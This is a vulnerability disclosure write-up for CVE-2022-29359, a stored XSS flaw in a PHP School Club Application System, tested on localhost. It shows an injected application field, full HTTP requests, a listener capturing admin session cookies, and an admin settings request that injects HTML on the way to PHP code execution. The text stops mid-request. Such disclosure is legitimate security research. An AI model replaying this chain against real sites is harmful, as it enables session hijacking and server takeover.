zsecure/cve-2022-29359CVE-2022-29359 - School Application System Stored Cross-Site Scripting
Issue: Unauthenticated Stored Cross-Site Scripting to HTML injection to RCE
Author: Zak Clifford
Date: 12.04.2022
Vendor: https://www.sourcecodester.com/php/15266/school-club-application-system-phpoop-free-source-code.html
Software: https://www.sourcecodester.com/sites/default/files/download/oretnom23/scas_0.zip
Reference: https://github.com/ZSECURE
Tested on: Windows, MySQL, Apache
While testing a Free and open-source software (FOSS) application, a flaw was identified where an unauthenticated threat actor could apply to join a book club, inject an XSS payload and steal administrators of the application session cookies, either an Admin or a Club Admin role. With the session cookie, logging in to the application as admin, it’s possible to add PHP code to the about-us and home page. Adding a PHP shell it's possible to execute commands on the webserver.
Manual walkthrough: Apply to a club and click on Submit Application
Direct approach: Navigate to the following URL http://localhost/scas/?page=clubs/application_form&id=7
Screenshot of the vulnerable input field:
Insert the following payload in the firstname parameter
m1st3r3">
The post request with the payload is here
POST /scas/classes/Master.php?f=save_application HTTP/1.1
Host: localhost
Content-Length: 1326
sec-ch-ua: "(Not(A:Brand";v="8", "Chromium";v="99"
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryEWvm4hOYmjUAAlLT
X-Requested-With: XMLHttpRequest
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.74 Safari/537.36
sec-ch-ua-platform: "Windows"
Origin: http://localhost
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://localhost/scas/?page=clubs/application_form&id=7
Accept-Encoding: gzip, deflate
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
Connection: close
------WebKitFormBoundaryEWvm4hOYmjUAAlLT
Content-Disposition: form-data; name="id"
------WebKitFormBoundaryEWvm4hOYmjUAAlLT
Content-Disposition: form-data; name="club_id"
7
------WebKitFormBoundaryEWvm4hOYmjUAAlLT
Content-Disposition: form-data; name="firstname"
m1st3r3">
------WebKitFormBoundaryEWvm4hOYmjUAAlLT
Content-Disposition: form-data; name="middlename"
------WebKitFormBoundaryEWvm4hOYmjUAAlLT
Content-Disposition: form-data; name="lastname"
test
------WebKitFormBoundaryEWvm4hOYmjUAAlLT
Content-Disposition: form-data; name="gender"
Male
------WebKitFormBoundaryEWvm4hOYmjUAAlLT
Content-Disposition: form-data; name="year_level"
2022
------WebKitFormBoundaryEWvm4hOYmjUAAlLT
Content-Disposition: form-data; name="section"
test
------WebKitFormBoundaryEWvm4hOYmjUAAlLT
Content-Disposition: form-data; name="email"
[email protected]
------WebKitFormBoundaryEWvm4hOYmjUAAlLT
Content-Disposition: form-data; name="contact"
0123456789
------WebKitFormBoundaryEWvm4hOYmjUAAlLT
Content-Disposition: form-data; name="address"
------WebKitFormBoundaryEWvm4hOYmjUAAlLT
Content-Disposition: form-data; name="message"
------WebKitFormBoundaryEWvm4hOYmjUAAlLT--
Start a Python HTTP web server listening on port 8000 to capture the request
PS C:\xampp\htdocs\scas> python -m http.server
Serving HTTP on :: port 8000 (http://[::]:8000/) ...
::ffff:127.0.0.1 - - [11/Apr/2022 22:54:46] "GET /?PHPSESSID=qvch5e9s97c9cfpsi23f2iureq HTTP/1.1" 200 -
::ffff:127.0.0.1 - - [11/Apr/2022 23:15:37] "GET /?PHPSESSID=qvch5e9s97c9cfpsi23f2iureq HTTP/1.1" 200 -
::ffff:127.0.0.1 - - [12/Apr/2022 10:26:35] "GET /?PHPSESSID=qvch5e9s97c9cfpsi23f2iureq HTTP/1.1" 200 -
::ffff:127.0.0.1 - - [12/Apr/2022 10:26:49] "GET /?PHPSESSID=qvch5e9s97c9cfpsi23f2iureq HTTP/1.1" 200 -
::ffff:127.0.0.1 - - [12/Apr/2022 10:32:01] "GET /?PHPSESSID=qvch5e9s97c9cfpsi23f2iureq HTTP/1.1" 200 -
Now when an admin or a club admin logs in and views the applications, the stored XSS is triggered and it’s possible to capture the session cookie. Once the cookie has been captured, it’s possible to log in as that user with the cookie.
With the admin's session cookie, it’s possible to inject code into the index.php and about-us.php to manipulate the page and possibly get command execution.
Request:
POST /scas/classes/SystemSettings.php?f=update_settings HTTP/1.1
Host: localhost
Content-Length: 5552
sec-ch-ua: "(Not(A:Brand";v="8", "Chromium";v="99"
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarylq5Nntc4amccqP1S
X-Requested-With: XMLHttpRequest
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.74 Safari/537.36
sec-ch-ua-platform: "Windows"
Origin: http://localhost
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://localhost/scas/admin/?page=system
Accept-Encoding: gzip, deflate
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
Cookie: PHPSESSID=qvch5e9s97c9cfpsi23f2iureq
Connection: close
------WebKitFormBoundarylq5Nntc4amccqP1S
Content-Disposition: form-data; name="name"
School Club Application System
------WebKitFormBoundarylq5Nntc4amccqP1S
Content-Disposition: form-data; name="short_name"
SCAS - PHP
------WebKitFormBoundarylq5Nntc4amccqP1S
Content-Disposition: form-data; name="content[welcome]"
<h1>HTML injection is possible here!</h1><p style="margin-right: 0px; margin-bottom: 15px; margin-left: 0px; padding: 0px; text-align: justify; font-family: "Open Sans", Arial, sans-serif; font-size: 14px; background-color: rgb(255, 255, 255);">Lorem ipsum dolor sit amet, consectetur adipiscing elit. Fusce bibendum leo in purus commodo accumsan. Lorem ipsum dolor sit amet, consectetur adipiscing elit. Etiam et ligula gravida, rhoncus magna vel, tristique nibh. Nullam molestie, risus ac pretium mattis, massa dui tristique nunc, eu lacinia leo lorem consequat libero. Donec vitae nisi semper, pulvinar felis quis, mattis sem. Nulla quis dolor in lorem tempor posuere. Mauris non nunc vel ex malesuada pellentesque non egestas ligula. Donec consequat nunc non enim pretium aliquet. Maecenas non arcu a quam aliquam malesuada ut eget arcu. Curabitur sit amet est lorem. Aenean commodo mi vel magna semper dignissim. Fusce commodo orci nec placerat laoreet. Praesent nisl lectus, varius sit amet molestie a, luctus ut ipsum. Sed quis massa quis lorem auctor eleifend. Integer eget nulla sit amet massa commodo porttitor. Duis justo tortor, euismod vitae leo ac, pharetra mattis justo.</p><p style="margin-right: 0px; margin-bottom: 15px; margin-left: 0px; padding: 0px; text-align: justify; font-family: "Open Sans", Arial, sans-serif; font-size: 14px; background-color: rgb(255, 255, 255);">Pellentesque auctor dictum porttitor. Ut ultricies feugiat mollis. Aenean pretium pulvinar aliquam. Maecenas lobortis ornare tortor vitae vestibulum. Quisque aliquam neque eget magna venenatis, sit amet auctor ex elementum. Etiam ullamcorper sapien quis metus interdum cursus. Curabitur quis ligula molestie, sollicitudin ipsum ac, fringilla dui. Ut sit amet ornare nulla. Vestibulum condimentum sem at velit vehicula, sit amet hendrerit augue finibus. In hac habitasse platea dictumst.</p>
------WebKitFormBoundarylq5Nntc4amccqP1S
Content-Disposition: form-data; name="files"; filename=""
Content-Type: application/octet-stream
------WebKitFormBoundarylq5Nntc4amccqP1S
Content-Disposition: form-data; name="content[about]"